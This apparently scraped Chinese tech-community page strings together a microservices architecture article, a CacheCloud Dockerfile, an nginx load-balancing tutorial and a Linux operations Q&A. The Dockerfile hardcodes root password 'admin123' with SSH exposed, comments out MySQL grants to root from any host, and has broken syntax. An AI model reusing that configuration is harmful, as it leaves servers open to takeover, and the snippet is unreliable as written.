在微服务架构方面，微服务的部署同样起着至关重要的作用，关键要求如下：
能够独立于其他微服务部署/部署。必须能在每个微服务级别做扩展（给定的服务可能比其他服务获得更多的流量）。快速构建和部署。一个微服务的故障不得影响任何其他服务。
Docker提供了一种很好的方式来部署满足上述要求的微服务器，所涉及的关键步骤如下：
将微服务作为（Docker）容器镜像打包。将每个服务实例部署为容器。基于更改容器实例的数量来进行缩放。构建，部署和启动微服务将会快得多，因为我们使用Docker容器（这比常规VM快得多）
Kubernetes通过允许将一组Linux容器作为单个系统进行管理，在多个主机上管理和运行Docker容器，提供容器的共同位置，服务发现和复制控制，从而扩展Docker功能。其实大多数这些功能在微服务环境中也很重要，因此使用Kubernetes（在Docker上面）用于微服务部署已经成为一种非常强大的方法，特别是对于大规模微服务部署。




图11，显示了零售应用的微服务部署概述。每个微服务实例被部署为容器，每个主机有两个容器。同时可随意更改在给定主机上运行的容器数。
 

安全

现实很骨感，无论是不是微服务都应当得到安全方面的保护。在进入微服务安全性篇章之前，我们先快速过一下如何在单片应用层面实现安全。
在典型的单片应用程序中，安全性是关于发现“谁是呼叫者”，“呼叫者可以做什么”，以及“我们如何传播该信息”。这通常在位于请求处理链的开始处的公共安全组件中实现，该组件使用底层用户存储库（或用户存储）填充所需的信息。
那么，我们可以直接将这种模式转化为微服务架构吗？是的，但是这需要在每个微服务级别实现安全组件，该级别正在与集中式/共享用户存储库进行通信，并检索所需的信息。这是解决Microservices安全问题的一种非常乏味的方法。

还有，划重点，我们可以利用广泛使用的API-Security标准（如OAuth2和OpenID Connect）来找到我们的Microservices安全问题的更好的解决方案。在深入了解之前，我来总结下这些标准。
 
OAuth2 - 是访问委派协议。客户端使用授权服务器进行身份验证，并获取称为“访问令牌”的不透明令牌。Access令牌具有关于用户/客户端的零信息。它仅引用只能由授权服务器检索的用户信息。因此，这被称为“副参考令牌”，即使在公共网络/互联网中也可以安全地使用该令牌。OpenID Connect的行为与OAuth类似，但是除了访问令牌之外，授权服务器还会发出一个包含用户信息的ID令牌。这通常由JWT（JSON Web令牌）实现，并由授权服务器签名。因此，可以确保授权服务器与客户端之间的信任。因此，JWT令牌被称为“副值令牌”，因为它包含用户的信息，显然不能在内部网络之外使用它。
 
现在，让我们看看我们如何使用这些标准来保护我们零售业的微观服务。




如图12，这些是实现微服务安全性的关键步骤：
将身份验证保留到OAuth和OpenID Connect服务器（授权服务器），以便microservices成功提供访问权限，因为有人有权使用数据。使用API-GW样式，其中所有客户端请求都有一个入口。客户端连接到授权服务器并获取访问令牌（按引用令牌）。然后将访问令牌与请求一起发送到API-GW。网关上的令牌翻译：API-GW提取访问令牌，并将其发送到授权服务器以通过值令牌来检索JWT。GW将该JWT与请求一起传递到微服务层。JWT包含有助于存储用户会话等的必要信息。如果每个服务都可以了解JSON - Web令牌，那么已经分发了你的身份机制，那你就被允许在整个系统中传输身份。在每个微服务层，我们可以有一个处理JWT的组件，这是一个非常简单的实现。
 

交易

微服务中的交易支持如何？其实，支持跨多个微服务的分布式事务是一个非常复杂的任务。

微服务架构本身鼓励服务之间的无事务协调。这个想法是给定的服务是完全独立，基于单一的责任原则。跨多个微服务器分布式事务的需要通常是微服务体系结构设计缺陷的症状，通常可以通过重构微服务器的范围进行整理。

然而，如果强制性要求跨多个服务进行分布式交易，则可以通过在每个微服务级别引入“补偿操作”来实现这种情况。关键思想是，给定的微服务是基于单一责任原则，如果给定的微服务器未能执行给定的操作，那么我们可以认为这是整个微服务的失败。
 

设计失败

Microservice架构引入了一系列分散的服务，与单片设计相比，增加了在每个服务级别发生故障的可能性。由于网络问题，基础资源不可用，给定的微服务可能会失败。不可用或无响应的微服务器不应玩砸了整个基于微服务器的应用。因此，微服务应该有容错余地，能够在可能的情况下恢复，客户端也必须妥善处理。

此外，由于服务可能随时失败，因此能够快速检测（实时监控）故障，并尽可能自动恢复服务（故障自愈）很重要。在微服务玩家的眼里，处理错误有几种常用模式。
 
断路器
当你对微服务器进行外部呼叫，就可以在每次调用时配置故障监视器组件，并且当故障达到某个阈值时该组件将停止对服务的任何进一步调用（跳闸电路）。在打开状态（可以配置）的一定数量的请求后，将电路更换回关闭状态。

这种模式对于避免不必要的资源消耗，由于超时引起的请求延迟是非常有用，也让我们有机会更积极的监控系统（基于活动的开路状态）。
 
隔板
基于微服务器的应用的一部分的故障不应影响其他应用，隔板模式是关于隔离应用的不同部分，以便应用的某个部分的服务失败不会影响任何其他服务。
 
超时
超时是一种主观加入的合理机制，当你认为结果无法返回，则允许停止响应。

模式这里叨叨完。那么，我们在哪里和如何使用这些模式与微服务？大多数情况下这些模式都适用于Gateway级别，这意味着当微服务不可用或没有响应时，在网关级别，我们可以决定是否使用断路器或超时模式将请求发送到微服务。此外，在Gateway级别实现诸如隔板之类模式也很重要，因为它是所有客户端请求的单个入口点，也因此发送服务中的故障不应影响其他微服务器的调用。

另外，Gateway可以作为中心点，我们可以通过Gateway调用每个微服务来获取每个微服务器的状态和监视。
 
微服务，企业集成，API管理和遐（瞎）想
我们专门研究过微服务架构的各种特点，以及如何在现代企业IT环境中实现它们。但是，我们应该记住，微服务不是灵丹妙药。流行语概念的盲目适应不会解决“真实”企业IT问题。

它微服务是有很多优势，我们也应该充分利用。但是我们还必须记住，解决所有企业IT问题与微服务之间联系不一定就是强相关。例如，Microservices架构促进消除ESB作为中央总线，但是当涉及到现实世界的IT时，现在有很多不是基于Microservices的应用程序/服务。所以，整合是避不开的解决思路，要做集成。

所以，理想情况下，Microservices和其他企业架构概念（如Integration）的混合方法将更为现实。以后再聊了，这个能写的太多。 希望这能让你更清楚地了解如何在企业中使用Microservices。
分享阅读原文： http://dwz.cn/6iVsiQ  查看全部

通过dockerfile快速部署cachecloud——redis集群管理
 FROM centos:6.6
COPY cachecloud.sql /opt
ADD jdk-7u79-linux-x64.tar.gz /usr/local/
ADD apache-maven-3.3.9-bin.tar.gz /usr/local/
ADD soft.tar.gz /opt
ADD cachecloud-web.tar.gz /opt
RUN cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime && \ echo "Asia/shanghai" >> /etc/timezone && \
yum install passwd openssl openssh-server openssh-clients -y && \
echo 'admin123' | passwd --stdin root && \
sed -i '/^session\s\+required\s\+pam_loginuid.so/s/^/#/' /etc/pam.d/sshd && \
WORKDIR /opt/soft/cachecloud
ENV JAVA_HOME /usr/local/jdk1.7.0_79
ENV JRE_HOME $JAVA_HOME/jre
ENV CLASSPATH .:$JAVA_HOME/lib:$JRE_HOME/lib
ENV PATH $PATH:$JAVA_HOME/bin
ENV MVN_HOME /usr/local/apache-maven-3.3.9
ENV JRE_mvn $MVN_HOME/jre
ENV PATH $PATH:$MVN_HOME/bin
#RUN yum install -y mysql-server mysql
#RUN /etc/init.d/mysqld start &&\
# mysql -e "grant all privileges on *.* to 'root'@'%' identified by '123456';"&&\
# mysql -e "grant all privileges on *.* to 'root'@'localhost' identified by '123456';"&&\
# mysql -uroot -p123456 -e "grant all privileges on *.* to 'admin'@'%' identified by 'admin';"&&\
# mysql -uroot -p123456 -e "grant all privileges on *.* to 'admin'@'localhost' identified by 'admin';"&&\
# mysql -uroot -p123456 -e "CREATE DATABASE cachecloud DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;"&&\
# mysql -uroot -p123456 cachecloud < /opt/cachecloud.sql

RUN mvn clean compile install -Ponline && \
cp /opt/soft/cachecloud/cachecloud-open-web/target/cachecloud-open-web-1.0-SNAPSHOT.war /opt/cachecloud-web && \
cp /opt/soft/cachecloud/cachecloud-open-web/src/main/resources/cachecloud-web.conf /opt/cachecloud-web && \
ln -s /opt/cachecloud-web/cachecloud-open-web-1.0-SNAPSHOT.war /etc/init.d/cachecloud-web

RUN rpm -ivh [url]http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm[/url] RUN yum install -y supervisor
RUN mkdir -p /var/log/supervisor
COPY supervisord.conf /etc/supervisord.conf
EXPOSE 22 8585 9999
CMD ["/usr/bin/supervisord"] 查看全部

FROM centos:6.6

COPY cachecloud.sql /opt

ADD jdk-7u79-linux-x64.tar.gz /usr/local/

ADD apache-maven-3.3.9-bin.tar.gz /usr/local/

ADD soft.tar.gz /opt

ADD cachecloud-web.tar.gz /opt

RUN cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime && \

    echo "Asia/shanghai" >> /etc/timezone && \

    yum install passwd openssl openssh-server openssh-clients -y && \

    echo 'admin123' | passwd --stdin root && \

    sed -i '/^session\s\+required\s\+pam_loginuid.so/s/^/#/' /etc/pam.d/sshd && \

WORKDIR /opt/soft/cachecloud

ENV JAVA_HOME /usr/local/jdk1.7.0_79

ENV JRE_HOME $JAVA_HOME/jre

ENV CLASSPATH .:$JAVA_HOME/lib:$JRE_HOME/lib

ENV PATH $PATH:$JAVA_HOME/bin

ENV MVN_HOME /usr/local/apache-maven-3.3.9

ENV JRE_mvn $MVN_HOME/jre

ENV PATH $PATH:$MVN_HOME/bin

#RUN yum install -y mysql-server mysql

#RUN /etc/init.d/mysqld start &&\

#    mysql -e "grant all privileges on *.* to 'root'@'%' identified by '123456';"&&\

#    mysql -e "grant all privileges on *.* to 'root'@'localhost' identified by '123456';"&&\

#    mysql -uroot -p123456 -e "grant all privileges on *.* to 'admin'@'%' identified by 'admin';"&&\

#    mysql -uroot -p123456 -e "grant all privileges on *.* to 'admin'@'localhost' identified by 'admin';"&&\

#    mysql -uroot -p123456 -e "CREATE DATABASE cachecloud DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;"&&\

#    mysql -uroot -p123456 cachecloud < /opt/cachecloud.sql



RUN mvn clean compile install -Ponline && \

    cp /opt/soft/cachecloud/cachecloud-open-web/target/cachecloud-open-web-1.0-SNAPSHOT.war /opt/cachecloud-web && \

    cp /opt/soft/cachecloud/cachecloud-open-web/src/main/resources/cachecloud-web.conf /opt/cachecloud-web && \

    ln -s /opt/cachecloud-web/cachecloud-open-web-1.0-SNAPSHOT.war /etc/init.d/cachecloud-web



RUN rpm -ivh [url]http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm[/url] RUN yum install -y supervisor

RUN mkdir -p /var/log/supervisor

COPY supervisord.conf /etc/supervisord.conf

EXPOSE 22 8585 9999

CMD ["/usr/bin/supervisord"]

Nginx可以根据客户端IP进行负载均衡，在upstream里设置ip_hash，就可以针对同一个C类地址段中的客户端选择同一个后端服务器，除非那个后端服务器宕了才会换一个。
 
nginx的upstream目前支持的5种方式的分配

1、轮询（默认）​

每个请求按时间顺序逐一分配到不同的后端服务器，如果后端服务器down掉，能自动剔除。upstream backserver {
server 192.168.0.14;
server 192.168.0.15;
}

2、指定权重

指定轮询几率，weight和访问比率成正比，用于后端服务器性能不均的情况。 upstream backserver {
server 192.168.0.14 weight=10;
server 192.168.0.15 weight=10;
}

3、 ip_hash(ip绑定)

每个请求按访问ip的hash结果分配，这样每个访客固定访问一个后端服务器，可以解决session的问题。upstream backserver {
ip_hash;
server 192.168.0.14:88;
server 192.168.0.15:80;
}

4、fair（第三方）

按后端服务器的响应时间来分配请求，响应时间短的优先分配。upstream backserver {
server server1;
server server2;
fair;
}

5、url_hash（第三方）

按访问url的hash结果来分配请求，使每个url定向到同一个后端服务器，后端服务器为缓存时比较有效。 upstream backserver {
server squid1:3128;
server squid2:3128;
hash $request_uri;
hash_method crc32;
} 在需要使用负载均衡的server中增加 proxy_pass http://backserver/;

upstream backserver{
ip_hash;
server 127.0.0.1:9090 down; (down 表示单前的server暂时不参与负载)
server 127.0.0.1:8080 weight=2; (weight 默认为1.weight越大，负载的权重就越大)
server 127.0.0.1:6060;
server 127.0.0.1:7070 backup; (其它所有的非backup机器down或者忙的时候，请求backup机器)
} max_fails ：允许请求失败的次数默认为1.当超过最大次数时，返回proxy_next_upstream 模块定义的错误 

fail_timeout:max_fails次失败后，暂停的时间 查看全部

upstream backserver { 

    server 192.168.0.14; 

    server 192.168.0.15; 

} 

upstream backserver { 

    server 192.168.0.14 weight=10; 

    server 192.168.0.15 weight=10; 

} 

upstream backserver { 

    ip_hash; 

    server 192.168.0.14:88; 

    server 192.168.0.15:80; 

} 

upstream backserver { 

    server server1; 

    server server2; 

    fair; 

} 

upstream backserver { 

    server squid1:3128; 

    server squid2:3128; 

    hash $request_uri; 

    hash_method crc32; 

} 

proxy_pass http://backserver/; 



upstream backserver{ 

    ip_hash; 

    server 127.0.0.1:9090 down; (down 表示单前的server暂时不参与负载) 

    server 127.0.0.1:8080 weight=2; (weight 默认为1.weight越大，负载的权重就越大) 

    server 127.0.0.1:6060; 

    server 127.0.0.1:7070 backup; (其它所有的非backup机器down或者忙的时候，请求backup机器)

} 

我们面对的是一个不断变化的世界，业务需求在变，技术架构在变，开源工具与商业系统异构部署，新工具和技术概念层出不穷，唯有一套科学的技术方法论才能应对这些变化。很多时候，我们在面对新的问题时，会束手无措。因此，在 OSC 第 132 期高手问答中，我们策划了“Linux 运维最佳实践”的主题，并邀请了@xufengnju（胥峰）作为高手嘉宾。

@xufengnju（胥峰），资深运维专家，有 10 年运维经验，在业界颇具威望和影响力。也是盛大游戏高级研究员，2006 年毕业于南京大学，2011 年加入盛大游戏，工作至今，曾参与盛大游戏多款大型端游和手游的上线运维，主导运维自动化平台的功能设计和实施。拥有工信部认证高级信息系统项目管理师资格。

自动化运维在近几年一直都是很火热的话题，技术也一直在进步，因此对于技术人员来说，最重要的思维上、思想上的适应与转变。毕竟技术不是运维的终极追求，思想才是运维人员应该毕生修炼的目标！本次高手问答的高手嘉宾对运维服务体系有着深度的思考，因此问答中产生的内容也是十分有质量。

本文从多个角度整理了与运维相关的内容，包括工具的选择、运维中遇到的问题、自动化运维相关等等。
 
Q&A​
 一、工欲善其事必先利其器，如何选择工具？ 
1. 对服务器安全和监控，可以推荐一些开源工具吗？监控好像也就 nagios, cacti, zabbix，还有其他可以推荐的吗？安全方面如何监控？

监控工具各有侧重点，zabbix 同时支持 snmp 和自己的 agent，也支持自定义模板，在大部分场景下都是不错的选择。

另外，不要把 zabbix 视为只能监控服务器信息，通过自定义模板，也可以监控业务层面的指标。安全监控分为主动检测，如 Tenable Nessus，以及 IDS、IPS。

2. Linux 运维中，服务器版本都用什么版本？CentOS 5 还是 CentOS 6、Ubuntu？为什么选择这个版本？有做哪些测试？

目前我们以 CentOS6.X 为主。不同 Linux 分支各有特点，比如 Ubuntu 新版本发布较快，如果追求内核版本升级速度的话，可以考虑。CentOS 一直是我们的主要 Linux 发行版，主要是考虑到它的稳定性以及熟悉程度最高。

3. 对于使用缓存有什么推荐吗？一般就 Redis, Codis。还有那些比较好用的开源软件？

对于类似 session-id 这样的可以非持久存储的数据，可以考虑 memcached，使用一致性哈希算法分布式存储。

4. 做自动化发布，除了 Jenkins 持续集成工具，还有那些好用的工具呢？

目前我所知道的，一般都是 Hudson 或者 Jenkins，后者是前者分支出来的。这些工具都有丰富的插件，灵活使用这些插件是关键所在。

5. 问个 MySQL 问题，三个版本（MySQL（官方版本）、Percona Server 、MariaDB）您建议使用哪个版本，原因是？

我们团队一般使用的是官方版本。主要是考虑到支持和生态。

6. 服务器日志收集和分析有什么好工具推荐吗？ELK 貌似有点复杂，不太会用，有其他的推荐么？

ELK 确实是目前使用比较广泛的日志收集和分析的工具。虽然有些学习成本，但还是值得去研究和尝试的。

7. 书里有开源出一些工具和脚本吗，哪里可以下载到？

书上的脚本我正在整理，其中一部分通过 git 可以下载 https://github.com/xufengnju/books.git  

8. 请问你们现在运维都是基于 Ansible 吗？我们之前都是用 chef puppt 来管理。最近感觉 Ansible 很火，还没实践用过，请问这个用起来差别大吗？

各种不同的批量管理工具各具特点，根据自己的熟悉程度和实际业务需要选择一个完全掌握即可
目前 IaaS 平台是自研的，基于 KVM

二、绝知此事要躬行，运维中遇到问题？1. LVS 和 HAPROXY 后端服务器规模可以到什么程度，比如有多少个应用，多少台后端服务器？

这个取决于应用的类型，在实际的业务场景下，需要关注 LVS 等负载均衡器本身的连接数、PPS 数据以及延迟。如果后端吞吐量比较大，可以考虑 LVS 的 DR 模式。一般情况下，负载均衡器不太会成为瓶颈。

负载均衡器本身的连接数、PPS 数据以及延迟如何进行计算和统计？
通过开源的 Zabbix 模板或者自定义模板，这些都不难实现。有没有相关的命令集进行统计，或者详细的统计实例？

针对 HAProxy 建议参考咱们书中 P76 页最佳实践 29 HAProxy 监控的内容。Zabbix 模板技术，建议参考下咱们书中第 12 章的内容。可以使用的命令包括 ipvsadm，netstat 等。

2. 对于涉及多个平台（Unix, Linux, Windows）的统一管理（认证，配置，服务）有什么好的解决方案或者思路么？

先说下认证这一块吧。Unix、Linux 都支持 OpenLDAP 认证，可以考虑，这个和 Windows 下的 AD 是兼容的。配置和服务可以考虑下开源的通用产品，比如 Ansible 或者 Salt。目前我们用的自研系统，思路和 Ansible 类似。

3. 如何监控服务，业务运行状态监控你是怎么做的？

我们的监控系统是自研的，对游戏来说，很重要的一个业务指标是在线人数，它是通过监控系统周期性轮询游戏服务器来进行收集和绘制图表的。

4. 你们是如何批量管理各个业务模块的机器系统及配置的。我们目录使用 Ansible 使用批量命令和脚本，业务上使用上线平台 SVN 管理业务程序及配置。是否开发了 CMDB 平台？

我们批量管理服务器的方式是 ssh，思路和 Ansible 类似。CMDB 提供基础数据的管理，是自研的。

5. 请问有使用过流量镜像吗？就是把线上的流量镜像一份，引到测试环境，用真实的用户数据测试，想了解下从 0 开始实施的过程。

关于流量镜像的原理，可以参考《Linux 运维最佳实践》第 15 章中网卡混杂模式和 RawSocket 技术。看了这一部分后，你应该可以自己写一套。我没有亲自实践过，你可以自己关注下 tcpcopy 这个项目。

6. CentOS 6 要如何做系统和网络优化？/etc/sysctl.conf 中的这个参数
net.ipv4.tcp_max_tw_buckets = 6000要如何设置，是越多越好吗？设置成 16000？
net.ipv4.tcp_max_tw_buckets = 16000

对于系统优化来说，要有针对性。tcp_max_tw_buckets 针对的是 time wait bucket，如系统中 timewait 状态较多，可以考虑 net.ipv4.tcp_tw_reuse 和 net.ipv4.tcp_tw_recycle 这 2 个值调整。另外，如果使用长连接对于减少该状态的连接数有效。

7. 如果有 100 多台服务器，大部分都是在提供业务的服务器，如何升级呢？除了停机维护，现在有什么比较好的解决方案吗？

如果本身业务切分比较好，例如采用无状态的微服务等架构，可以通过前端负载均衡器进行灰度升级。如果应用做的不好，只有单台的这种，或者集中数据库，就比较麻烦了。

8. LVS 和 HAPROXY 分别能支持多少类似 FARM 的概念？

你说的 FARM 应该是某硬件负载均衡设备的专有名词，应该是负载均衡组的概念。在 LVS 和 HAProxy 里面，负载均衡组的数量上没有硬限制，但实践中一般不会配置太多，因为这涉及到维护成本以及 HA 环境下主备切换时的开销。

9. 系统是 CentOS release 6.5 (Final)， 系统没有自动回收内存，16G，我自己写了个 Shell 脚本，每次执行判断小于 1G 的时候回收内存

可以关注下 sysctl 中 swap 以及 swappiness 的一些配置

10. 请问如果是有很多 ECS/VPS，系统一般是 CentOS。目前很多堡垒机也有类似的 SSH 同步密钥下发命令等功能，但是如果还有 Win的堡垒机支持很少。有别的开源工具或者办法来混合管理所有的 Linux, Windows 机器吗？ 

在我的这个演讲里面讲到了异构系统的批量管理方法，你可以参考下。

http://www.build.net/greatops/453250.html  。另外，你可以参考下 Ansible 或者 salt。

三、自动化运维相关，工程师思维？
1. 可以说下什么是自动化运维，如何才算服务器做了自动化运维？包括哪些？自动化发布，有问题可以回滚？

运维自动化是一个仁者见仁智者见智的概念。我的理解是，运维自动化要打通从代码开发完到正式上线的所有环节，包括版本构建、打通自动测试、自动化上线以及自动化监控。

在这个大命题下，可以根据自己工作环境和自动化水平的不同，选择一两个痛点开始进行自动化实践。最后形成完整体系。

2. 想请问一下自动化运维怎么做的？需要从那些方面考虑？我所考虑到的有实施运维，日常巡检维护，以及故障自动化处理，和提醒。除了这些请问还要注意那些方面？另外，随着 IT 技术的日新月异，涌现了很多新的应用，请问该如果有一个基本的路子来做运维，或者规律，流程来达到运维需求？例如现在比较火的OpenStack Docker 大数据。这些技术实现功能只是很小的一步，更多的是上线后的运维。更多是想要一种思路，能列举大家遇到过的问题，以及问题如何处理？ 

你的问题很好，但这个话题比较大。我先说下我的理解吧。传统的运维服务流程 ITIL 还有一定的价值，但需要结合一些 DevOps 思想来进行适当的改造，融合两者的长处。从拥抱变化开始，以一种开放的态度来进行运维。但不变的一点是，以为业务创造价值为最终目标，这就是运维的目标。

3. 实现运维自动化，最主要就是配置管理、状态管理和变更管理，其中配置管理要如何来做，有什么好的方法分享下吗？

对配置管理，我认为应该分为“基础架构资源配置管理”和“软件/应用配置管理”。

前者是一般意义上的 CMDB 的范畴，这个可以根据自己业务特点在开源 CMDB 方案的基础上做一定的适配；

对于后者，一方面是系统（例如版本控制系统的结合），一方面是流程（例如和变更管理挂钩）。在我们的实践中，这 2 个方面都有涉及。

4. 请问你主导运维自动化平台的功能设计和实施，是通过 Python 开发管理工具吗？另外，你们是重新开发，还是根据 Saltstack 之类的进行二次开发。

底层使用 SSH 协议建立服务器管理通道，上层使用 PHP 开发管理界面以及封装一些常用操作，比如密码修改、脚本下发和执行等。完全自主开发。

 
四、做好安全措施很重要，安全相关的问题1. 运维离不开安全，服务器的安全也很重要，书中有讲运维安全这块吗，如何把控安全这块？

书中有安全主题。安全是一个庞大的体系，书中主要讲了保障 Linux 系统安全的一些措施。其他安全主题，比如社会工程和入侵检测，可能需要看更专业的书。你可以先看看咱们《Linux 运维最佳实践》是否能满足你的基本安全需求。谢谢支持。

2. Web 安全监控有开源解决方案吗，能否做到在接入层就把一些可能的漏洞拦掉？Suricata？

Suricata 没有研究和实践过。《Linux 运维最佳实践》中第 11 章 Web 服务器安全部分提到了几个工具，你可以参考下。但 ModSecurity 规则在上线前要进行严格详细测试，不要出现误判。另外，建议对生产环境进行定期的安全扫描，例如使用 Tenable Nessus 工具等。安全专家的人工渗透测试也是必须的。

 
五、Docker 很火热，在运维中结合使用？1. 在网易游戏运维中是否用到了最近很火的 Docker 技术以及应用在哪，存在什么问题，如何解决？

目前我们在调研 Docker 技术，只有少量游戏测试使用。需要根据不同的业务模型选择对应的网络模型和存储方案。Docker 技术会改变传统的运维方式，要考虑和原有运维系统整合以及运维习惯的调整所带来的挑战。另外，我不是网易公司的，我目前在盛大游戏工作。 

2. Docker 化对运维影响深远吗？

Docker 化对运维有影响，它带来的影响包括：持续交付、微服务以及 DevOps 理念的冲击。作为运维，我们要拥抱这个变化，通过不断学习和实践来迎接这些挑战。

3. 为何国内没有一家成熟的 Docker 方案公布细节呢？

Docker 还是一个新生事物，各家使用的场景和模式有所不同，而且会有一些二次开发的管理系统和调度系统。

 
六、不是所有对比都会产生伤害，工程师想的只是最优方案1. 游戏服务器运维和网站服务器运维以及 APP 服务器运维，有哪些不同点和相同点？

这个问题很有代表性。不同点是，网站和 APP 运维接触的通用开源软件比较多，游戏运维接触的大部分都是自研的程序。

共同点是，都需要掌握操作系统知识、软件硬件以及网络知识，还有排查问题的思路和容量规划等。两者都需要引入运维自动化的思维和体系。《Linux 运维最佳实践》最后 2 章描述了游戏运维的相关体系和技术。

2. 作为运维人员，Python 这样的脚本在进行系统管理和监控的时候相比 Shell 有怎样的优势呢？

作为高级编程语言，Python 有非常丰富的库，包括核心库和第三方库，很多时候不需要自己造轮子；

相比 Shell，它有更好的控制力、重试机制，比如对 Socket 设置超时等等。

3. CentOS 比起 Ubuntu 来说有啥优势？为什么服务器大多用 CentOS？

不同 Linux 分支各有特点，比如 Ubuntu 新版本发布较快，如果追求内核版本升级速度的话，可以考虑。CentOS 一直是我们的主要 Linux 发行版，稳定性以及熟悉程度最高。

选择某个发行版时，要考虑它的生态，比如上下游的支持，还有一点，就是运维人员招聘的方便程度，国内熟悉 CentOS 的稍多一些。

4. 想问下只有一台服务器，有多个应用，是用 LVS 做负载好还是 Nginx？差别大吗？

你说的后端应用是基于 HTTP 或者 HTTPS 的吗？如果是的话，并且吞吐量不大的情况下，使用 Nginx 即可；如果非 HTTP 或者 HTTPS 的 TCP 应用，建议使用 LVS；如果 HTTP 或者 HTTPS 吞吐量特别大的情况下，使用 LVS DR 模式。

七、You Need Backup，与备份相关的一些问题1. 1000 台机器规模，备份系统应该要做到什么程度？

1000 台服务器，要区分业务类型，如果类型单一，备份就比较好做。如果类型多，那么要考虑的地方包括：数据库更新的频率（全备+增量备份？还是只使用全备）、数据备份的大小、数据集中归档的要求。

2. 备份是怎么做的？上百 T 的图片、附件有什么高雅的备份方案？

在线备份这一块，可以考虑使用 erasure coding 算法，在增加一定可靠性的能力下，不至于导致备份存储的成本过高。同时要考虑离线备份，比如磁带。

八、路漫漫其修远兮，运维工程师的职业生涯1. 你觉得在未来，运维的核心会是什么，自动化，预判或是其他？

我觉得，未来的运维应该是智能化的。把现在需要人做的容量规划、扩缩容、排障全部实现智能化。运维的任务就是编程，把自己的能力灌输到机器上。当然，理想很丰满，现实很骨感。这需要我们的不懈努力。

2. 作为工作 4 年多的测试工作者，在运维方面也是有一定的涉猎，在公司维护自己的测试环境，有时候也需要一定运维功底，从 Windows Server 到 Linux，学习很多，也总结了很多。上家公司着手 Docker 部署的时候刚好离开公司了。真是有点遗憾，后续工作也没时间去实践，目前使用的是 ng 负载，采用 Tomcat 部署方案，工作实在比较忙，很想在运维方面也有一定的提升！不知道从何入手好，求大神指教。

从你的描述来看，目前是兼职运维。我建议是否可以考虑，在搭建环境之外，多多研究下其中的原理，同时用自动化脚本维护这些环境呢。相信你也有一些编程经验，这些对于你后续实践运维也是有帮助的。另外，就是可以多看看别人总结的运维案例，少走一些弯路。

3. 运维技术挺杂的，如何看待这种杂？给人感觉好像什么都会点，对于工作 5-6 年的运维来说，有什么好的学习建议？

如你所说，运维技术要求范围确实蛮广的。我觉得，对于工作了一定时间的运维同学来说，可以考虑的方向有以下几个：
DevOps 实践（加强自己的编程能力，系统学习一门高级编程语言，运维自动化）对自己的技术薄弱点重点学习，比如系统学习网络知识看一些比较好的运维技术书籍，学习别人的干货

4. 由于运维系统有全面的数据收集、自动处理、报警和自动恢复的机制，我们这里将运维和 BI 结合在一起。扩展运维工具和架构，将已成熟的 BI 接入运维体系，解放业务专员的工作，常规的业务分析、报表、数据监控都可依赖这套运维系统。在我们这里，运维从一层平台逐渐变成一种框架，有需要的场景都可以套用。技术一直在变，但最重要的不是技术，而是用技术提供服务的思想。
 
除了和 BI 结合，运维思维还可以和哪些相关业务场景结合，可以在新的方向上产生价值呢？

我很赞同你的想法和实践，“用技术提供服务的思想”。我个人认为，运维的终极目标可能是“没有运维工程师的”自运维，或者叫智能运维，是 AI 在运维领域的深度融合和实践。容量规划算法的不断优化、基于公有云的资源自动调度都应该是智能化的。当然，实现这个目标还有很长的路要走。

5. Devops 对运维有那些改变，能简单说下嘛？

Devops 从概念提出到现在已经有一段比较长的时间了，总体来说，我认为它带来的变化是：持续交付能力需要打通研发、测试和部署运维的整个链路，它对运维自动化的能力要求更高了。我们必须通过掌握一些运维自动化框架加上一定的编程能力才能根据业务场景来应对这种变化。另外，对运维来说，就是要拥抱变化，以开放的态度进行协作。

6. 现在哪个版本的 Linux 使用最广泛，还有 Linux 运维，我们需要学习一些语言吗，比如 Python 之类，这样才能算是一个真正的好运维？

不要犹豫了，立即开始学习编程吧，不管 Perl 还是 Python，熟悉哪一种都行。在这里，我不对比 Perl 和 Python 的优缺点。坚持用自己的代码（加上别人的框架和库）来解决重复的运维问题，你会成长的更快。CentOS 用的比较多。

《Linux 运维最佳实践》第 18 章是使用 Perl 进行系统自动化编程的内容，你可以先看看。如果感兴趣的话，立即开始吧。

7. 请问您写书，是怎么坚持写下来的？是把平时工作重点的问题，记录下来，每天写一点，再总结吗？写书有什么工具软件吗，还是只是用 Word 来写？能分享下写运维书籍的方法吗？

这个问题非常好，也是我想分享的。写书的素材依赖于平时的积累，建议大家平时多写写标准的文档，word 格式可以参考咱们这本书的编排。比较重要的 3 点是：
visio 图要保留下来，不能只存图片，因为可能还要调整排版有些故障现场，尽量记录详细，现象和分析过程、辅助的日志和抓包文件等，建议都保留下来脚本按照分类保存下来，以便查找

有关 Linux 运维最佳实践的问答内容至此结束，各位读者可以转到原帖浏览更多内容。
原文：运维技术干货 — 不仅是 Linux 运维最佳实践 。 查看全部

一、工欲善其事必先利其器，如何选择工具？

二、绝知此事要躬行，运维中遇到问题？

通过开源的 Zabbix 模板或者自定义模板，这些都不难实现。

net.ipv4.tcp_max_tw_buckets = 6000

net.ipv4.tcp_max_tw_buckets = 16000

三、自动化运维相关，工程师思维？

四、做好安全措施很重要，安全相关的问题

五、Docker 很火热，在运维中结合使用？

六、不是所有对比都会产生伤害，工程师想的只是最优方案

七、You Need Backup，与备份相关的一些问题

八、路漫漫其修远兮，运维工程师的职业生涯

作者介绍​

张延礼，现苏州蜗牛高级运维经理，就职于腾讯多年，熟悉基础架构运维及业务运维，在运维技术实施、流程及标准化体系建设、运维自动化架构设计及实现，运维支撑体系规划和执行团队管理等方面具有丰富经验。

正文

本文基于蜗牛从零开始建设运维自动化的一些实践，总结自动化建设过程中涉及的体系规划、实施路线、产品设计及架构设计等方面的经验。

一、自动化体系规划

1、自动化要解决什么问题

运维层面的工作可以归结为如下三大块




服务管理层面主要是从运维总体支撑的角度来管理运维质量、规范、成本等等，处在运维工作的最高层；技术决策主要是为实现管理目标去制定总体方案，实施路径；技术执行则是落地的最后一环，这一环工作往往呈现零散、杂乱、重复、频繁变更的特点，承接的需求量最多，但价值体现却是较低的一环。

当前运维自动化的首要目标还是在解决”技术执行”这一层面的问题：将大量重复低价值含量的人力实施变成自动化执行，最大化地降低人力依赖，提升运维效率及业务支撑能力。

2、自动化建设思路

对于如何建设自动化运维，个人认为首要的是要有建设思路与方法论，以下供参考：









